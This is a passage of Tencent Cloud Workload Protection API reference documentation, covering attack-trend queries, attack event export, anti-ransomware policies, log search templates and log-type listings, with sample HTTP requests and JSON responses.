"RequestId": "e2b22aab-4ec5-447b-814b-0edcc7aa4465"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeAttackTrends

Last updated：2024-12-06 15:42:32

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the network attack trend data.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAttackTrends.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	Filter criteria • BeginTime - String start time, default: last 7 days - required: no

3. Output Parameters

Parameter Name	Type	Description

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NetAttackTrend	Array of NetAttackTrend	Attack Trend Statistics (Days) Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Network Attack Trend Data

This example shows you the network attack trend data.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAttackTrends
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"NetAttackTrend": [
{
"AttackCount": 2,
"DateTime": "2023-05-22",
"SuccAttackCount": 0,
"TryAttackCount": 2
}
],
"RequestId": "8a9ca170-ea5d-4bcf-b8f6-5d9d68cb15c1"
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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DescribeNetAttackSetting

Last updated：2024-12-06 15:42:28

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query network attack settings.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeNetAttackSetting.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
NetAttackEnable	Integer	0 - Disable Network Attack Detection; 1 - Enable Network Attack Detection.
NetAttackAlarmStatus	Integer	0: New warning events pending processing by default, 1: New warning

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		events processed by default, 3: New warning events ignored by default.
Scope	Integer	1 - All Premium Edition Hosts, 0 - Hosts in InstanceIds List
InstanceIds	Array of String	Selected hosts Note: This field may return null, indicating that no valid values can be obtained.
ExcludeInstanceIds	Array of String	Custom Hosts to Exclude Note: This field may return null, indicating that no valid values can be obtained.
AutoInclude	Integer	New assets automatically include: 0 - Do not include, 1 - include.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Network Attack Settings

This example shows you how to query network attack settings.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeNetAttackSetting
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"NetAttackAlarmStatus": 0,
"NetAttackEnable": 1,
"RequestId": "8c1f7156-fc01-4905-b286-e08f4db0eec2"
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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ExportAttackEvents

Last updated：2024-12-06 15:42:23

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export network attack events.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAttackEvents.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter parameters • IpOrAlias - String - required: no - filter by host IP or alias • FilePath - String - required: no - filter by path • VirusName - String - required: no - filter by description • CreateBeginTime - String - required: no - filter by creation time - start time • CreateEndTime - String - required: no - filter by creation time - end time • Status - String - required: no - filter by status
By	No	String	Sorting value: CreateTime

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Order	No	String	Sorting method: ASC, DESC

3. Output Parameters

Parameter Name	Type	Description
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Network Attack Events

This example shows you how to export network attack events.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAttackEvents
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "bc0c3271-9ca8-4d4a-94dc-fb4288909c1b",
"TaskId": "1684892551"
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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CreateRansomDefenseStrategy

Last updated：2024-12-06 15:42:35

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to create or modify anti-ransomware policies.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateRansomDefenseStrategy.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Name	Yes	String	Policy name
Hour	Yes	String	Scheduled snapshot execution time (0-23): 01:00; 23:00.
Id	No	Integer	Policy ID: Modify the policy when filling in the ID. Otherwise, add a new policy.

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Description	No	String	Policy Remarks
Status	No	Integer	Whether to enable: 0 Off, 1 On.
IsAll	No	Integer	Apply to all machines or not. 0: No; 1: Yes
IncludeDir	No	String	Include directories, separated by semicolons (;).
ExcludeDir	No	String	Exclude directories, separated by semicolons (;).
BackupType	No	Integer	Backup pattern: 0 weekly, 1 daily.
Weekday	No	String	Scheduled task execution days in a week (1-7): 1; 2; 7.
SaveDay	No	Integer	Retention Period: 0 Permanent.
Machines.N	No	Array of RansomDefenseStrategyMachineInfo	Bound Host List

3. Output Parameters

Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Creating or Modifying the Anti-ransomware Policy

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: CreateRansomDefenseStrategy
<Common request parameters>
```

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```
{
"Status": 1,
"ExcludeDir": "xx",
"Description": "xx",
"Hour": "xx",
"BackupType": 1,
"IncludeDir": "xx",
"Weekday": "xx",
"IsAll": 1,
"Id": 1,
"SaveDay": 1,
"Name": "xx"
}
```

Output Example

```
{
"Response": {
"RequestId": "1703764f-b3ea-4d7f-99cb-cc3a6a62e2ec"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
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Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
ResourceNotFound	The resource does not exist.

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Security Operation APIs
DescribeHistoryService

Last updated：2024-12-06 15:39:47

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the log retrieval service information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeHistoryService.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
BuyStatus	Integer	1: available for purchase; 2: specification adjustment only; 3: redirection to renewal management page only.

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InquireNum	Integer	Capacity purchased by the user, in GB
EndTime	String	Expiration time
IsAutoOpenRenew	Integer	Whether automatic renewal is enabled. 0: initial value; 1: enabled; 2: disabled.
ResourceId	String	Resource ID
Status	Integer	0: not activated; 1: normal; 2: isolated; 3: terminated.
StartTime	String	Start time
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 An Example of Querying Log Retrieval Service Information

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeHistoryService
&<Common request parameters>
```

Output Example


```
{
"Response": {
"RequestId": "498e4cab-e95d-430b-bc4c-f5821bb278d4",
"BuyStatus": 1,
"InquireNum": 1,
"StartTime": "2020-10-20 00:00:00",
"EndTime": "2020-10-29 00:00:00",
"IsAutoOpenRenew": 0,
"ResourceId": "xxxxxxxx",
"Status": 1
}
}
```


5. Developer Resources

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SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeLogStorageStatistic

Last updated：2024-12-06 15:39:46

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the statistics of the used log retrieval capacity.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLogStorageStatistic.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
TotalSize	Integer	Total capacity (unit: GB)
UsedSize	Integer	Used capacity (unit: GB)

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Access usage statistics of the log retrieval capacity.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeLogStorageStatistic
&<Common request parameters>
```

Output Example

```
{
"Response": {
"UsedSize": 89546766804,
"TotalSize": 1073741824000,
"RequestId": "29b37d86-f63d-43d1-b21a-640e82965198"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeSearchLogs

Last updated：2024-12-06 15:39:45

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain historical search records.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeSearchLogs.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Data	Array of String	Search history. The latest 10 entries will be kept.

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Search Records

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeSearchLogs
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Data": [
"yunjing",
"106.55.40.250",
"106.55.35.160"
],
"RequestId": "498e4cab-e95d-430b-bc4c-f5821bb278d4"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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CreateSearchLog

Last updated：2024-12-06 15:39:49

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to add history search records.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateSearchLog.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
SearchContent	Yes	String	Search by content

3. Output Parameters

Parameter Name	Type	Description
Status	Integer	0: succeeded; non-zero: failed
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if

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		the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Adding Search Records

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=CreateSearchLog
&SearchContent=yunjing
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Status": 0,
"RequestId": "49082d4a-71b4-4e32-9ca1-b33872a4a63a"
}
}
```

5. Developer Resources

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeSearchTemplates

Last updated：2024-12-06 15:39:44

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of quick retrievals.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeSearchTemplates.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Offset	No	Integer	Offset, which is 0 by default.
Limit	No	Integer	Quantity of returns. It is 10 by default, and the maximum value is 100.

3. Output Parameters

Parameter	Type	Description

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Name		
TotalCount	Integer	Total number
List	Array of SearchTemplate	Template list
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Access the quick retrieval list.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeSearchTemplates
&Offset=0
&Limit=10
&<Common request parameters>
```

Output Example


```
{
"Response": {
"TotalCount": 2,
"List": [
{
"Id": 17,
"Name": "kbtest",
"LogType": "malware",
"Condition": "src_ip matched characters: 193.27.228.98",
"TimeRange": "2020-07-31 00:00:00 to 2020-07-31 23:59:59",
"Query": "{\"index\":[\"malware\"],\"body\":{\"query\":{\"bool\":{\"filter\":{\"b
ool\":{\"filter\":{\"range\":{\"timestamp\":{\"gte\":1596124800000,\"lte\":159621
1199999}}},\"must\":[{\"term\":{\"src_ip\":\"193.27.228.98\"}}],\"must_not\":
[],\"should\":[]}}}},\"aggs\":{\"count_stats\":{\"date_histogram\":{\"field\":\"t
imestamp\",\"interval\":\"30m\",\"time_zone\":\"Asia/Shanghai\",\"min_doc_count
\":1}}},\"highlight\":{\"fields\":{\"*\":{}}}},\"sort\":[{\"timestamp\":\"desc
\"}]}",
"Flag": "simple",
"DisplayData": "[{\"id\":14401398135,\"patternsField\":\"src_ip\",\"selectedtype
\":\"is\",\"selectedOptionsMap\":{\"is\":\"matched characters\",\"like\":\"fuzzil
```


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```
y matched characters\",\"not\":\"characters not contained\",\"is_one_of\":\"match
es any of the following characters\",\"not_one_of\":\"any of the following charac
ters not contained\"},\"selectedTypeList\":[\"is\",\"like\",\"not\",\"is_one_of
\",\"not_one_of\"],\"third_cat\":\"input\",\"value\":\"193.27.228.98\"}]"
},
{
"Id": 13,
"Name": "test",
"LogType": "malware",
"Condition": "src_ip matched characters: 10.0.0.1",
"TimeRange": "2020-06-13 00:00:00 to 2020-07-13 23:59:59",
"Query": "{\"index\":[\"malware\"],\"body\":{\"query\":{\"bool\":{\"filter\":{\"b
ool\":{\"filter\":{\"range\":{\"timestamp\":{\"gte\":1591977600000,\"lte\":159465
5999999}}},\"must\":[{\"term\":{\"src_ip\":\"10.0.0.1\"}}],\"must_not\":[],\"shou
ld\":[]}}}},\"aggs\":{\"count_stats\":{\"date_histogram\":{\"field\":\"timestamp
\",\"interval\":\"12h\",\"time_zone\":\"Asia/Shanghai\",\"min_doc_count\":
1}}},\"highlight\":{\"fields\":{\"*\":{}}},\"sort\":[{\"timestamp\":\"desc\"}]}"
,
"Flag": "simple",
"DisplayData": "[{\"id\":449375484687,\"patternsField\":\"src_ip\",\"selectedtype
\":\"is\",\"selectedOptionsMap\":{\"is\":\"matched characters\",\"like\":\"fuzzil
y matched characters\",\"not\":\"characters not contained\",\"is_one_of\":\"match
es any of the following characters\",\"not_one_of\":\"any of the following charac
ters not contained\"},\"selectedTypeList\":[\"is\",\"like\",\"not\",\"is_one_of
\",\"not_one_of\"],\"third_cat\":\"input\",\"value\":\"10.0.0.1\"}]"
}
],
"RequestId": "252ab6a8-3d45-414d-a31e-fb668e99864c"
}
}
```


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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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CreateSearchTemplate

Last updated：2024-12-06 15:39:48

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to add the retrieval template.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CreateSearchTemplate.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
SearchTemplate	Yes	SearchTemplate	Search template

3. Output Parameters

Parameter Name	Type	Description

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Status	Integer	0: succeeded; non-0: failed
Message	String	Reason for failure
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Add the search template.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=CreateSearchTemplate
&SearchTemplate.Name="kbtest"
&SearchTemplate.LogType="malware"
&SearchTemplate.Condition="src_ip matching characters: 10.0.0.1"
&SearchTemplate.TimeRange="2020-06-1300:00:00 to 2020-07-1323:59:59"
&SearchTemplate.Query="{\"index\":[\"malware\"],\"body\":{\"query\":{\"bool\":{\"
filter\":{\"bool\":{\"filter\":{\"range\":{\"timestamp\":{\"gte\":1591977600000,
\"lte\":1594655999999}}},\"must\":[{\"term\":{\"src_ip\":\"10.0.0.1\"}}],\"must_n
ot\":[],\"should\":[]}}}},\"aggs\":{\"count_stats\":{\"date_histogram\":{\"field
\":\"timestamp\",\"interval\":\"12h\",\"time_zone\":\"Asia/Shanghai\",\"min_doc_c
ount\":1}}},\"highlight\":{\"fields\":{\"*\":{}}}},\"sort\":[{\"timestamp\":\"des
c\"}]}"
&SearchTemplate.Flag="simple"
&SearchTemplate.DisplayData="[{\"id\":449375484687,\"patternsField\":\"src_ip\",
\"selectedtype\":\"is\",\"selectedOptionsMap\":{\"is\":\"Match character\",\"like
\":\"Fuzzy match character\",\"not\":\"Do not include character\",\"is_one_of\":
\"Match any of the following characters\",\"not_one_of\":\"Do not include any of
the following characters\"},\"selectedTypeList\":[\"is\",\"like\",\"not\",\"is_on
e_of\",\"not_one_of\"],\"third_cat\":\"input\",\"value\":\"10.0.0.1\"}]"
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Status": 0,
"RequestId": "49082d4a-71b4-4e32-9ca1-b33872a4a63a"
}
}
```

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.NameHasRepetition	The name already exists.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DeleteSearchTemplate

Last updated：2024-12-06 15:39:48

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete the retrieval template.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteSearchTemplate.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Id	Yes	Integer	Template ID

3. Output Parameters

Parameter Name	Type	Description
Status	Integer	0: succeeded; non-zero: failed

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Delete the search template.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeleteSearchTemplate
&Id=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Status": 0,
"RequestId": "49082d4a-71b4-4e32-9ca1-b33872a4a63a"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeESAggregations

Last updated：2024-12-06 15:39:47

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the aggregation result of the ES field.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeESAggregations.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Query	Yes	String	ES aggregation conditional JSON

3. Output Parameters

Parameter Name	Type	Description
Data	String	ES aggregation result JSON

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Access the ES field aggregation result.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeESAggregations
&Query={\"index\":[\"netflow\"],\"body\":{\"query\":{\"bool\":{\"filter\":{\"bool
\":{\"filter\":{\"range\":{\"timestamp\":{\"gte\":1597075200000,\"lte\":159716159
9999}}},\"must\":[],\"must_not\":[],\"should\":[]}}},\"aggs\":{\"src_port\":{\"t
erms\":{\"field\":\"src_port\",\"size\":500,\"order\":{\"_count\":\"desc\"}}},\"d
st_port\":{\"terms\":{\"field\":\"dst_port\",\"size\":500,\"order\":{\"_count
\":\"desc\"}}}}}}
&<Common request parameters>
```

Output Example

```
{
"Response": {
"Data": "{\"took\":114,\"total\":352317,\"aggs\":{\"dst_port\":{\"doc_count_error
_upper_bound\":30,\"sum_other_doc_count\":116350,\"buckets\":[{\"key\":445,\"key_
as_string\":null,\"KeyNumber\":0,\"doc_count\":53456},{\"key\":80,\"key_as_string
\":null,\"KeyNumber\":0,\"doc_count\":33405},{\"key\":443,\"key_as_string\":nul
l,\"KeyNumber\":0,\"doc_count\":17870}]},\"src_port\":{\"doc_count_error_upper_bo
und\":40,\"sum_other_doc_count\":233518,\"buckets\":[{\"key\":43957,\"key_as_stri
ng\":null,\"KeyNumber\":0,\"doc_count\":9878},{\"key\":40416,\"key_as_string\":nu
ll,\"KeyNumber\":0,\"doc_count\":4187},{\"key\":49892,\"key_as_string\":null,\"Ke
yNumber\":0,\"doc_count\":4100}]}},\"code\":0,\"message\":\"success\"}",
"RequestId": "e4ee7f6c-a036-43e7-b98f-96f174827fea"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.APIServerFail	Failed to invoke the API service.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeLogType

Last updated：2024-12-06 15:39:45

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain log types, and the returned result of this API indicates temporarily filterable log types.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLogType.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Data	String	CLS log type information
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Obtaining Log Types

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeLogType
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"Data": "{\"logType\":{\"Intrusion detection\":[\"malware\",\"hostlogin\",\"brute attack\",\"risk_dns\",\"bash\",\"privilege_escalation\",\"reverse_shell\"],\"Baseline management\":[\"baseline\"],\"Client-related\":[\"agent_offline\",\"agent_uninstall\"],\"Vulnerability management\":[\"emergency_vul\",\"linux_app_vul\",\"windows_sys_vul\",\"Web-CMS_vul\",\"application_vul\"],\"Asset fingerprint\":[\"asset_system\",\"asset_account\",\"asset_netstat\",\"asset_process\",\"asset_app\",\"asset_database\",\"asset_web_app\",\"asset_web_service\",\"asset_web_frame\",\"asset_web_location\",\"asset_jar\",\"asset_init_service\",\"asset_scheduled_task\",\"asset_env\",\"asset_core_module\"],\"Advanced defense\":[\"java_shell\",\"file_tamper\",\"attack_logs\",\"tamper_protect_exceptions\",\"tamper_protect_logs\"]}}",
"RequestId": "cbff5b6e-c53c-4761-8c77-738143b6e8cd"
}
}
```


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SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

There is no error code related to the API business logic. For other error codes, please see Common Error Codes.

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Expert Service APIs
DescribeAvailableExpertServiceDetail

Last updated：2024-12-06 15:41:19

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain available order details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAvailableExpertServiceDetail.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
ExpertService	Array of ExpertServiceOrderInfo	Security manager order

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EmergencyResponse	Integer	Number of available emergency responses
ProtectNet	Integer	
ExpertServiceBuy	Boolean	Whether you purchased security manager
EmergencyResponseBuy	Boolean	Whether you purchased emergency response
ProtectNetBuy	Boolean	
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Details of Available Expert Service Orders

This example shows you how to obtain details of available expert service orders.

Input Example

```
POST / HTTP/1.1
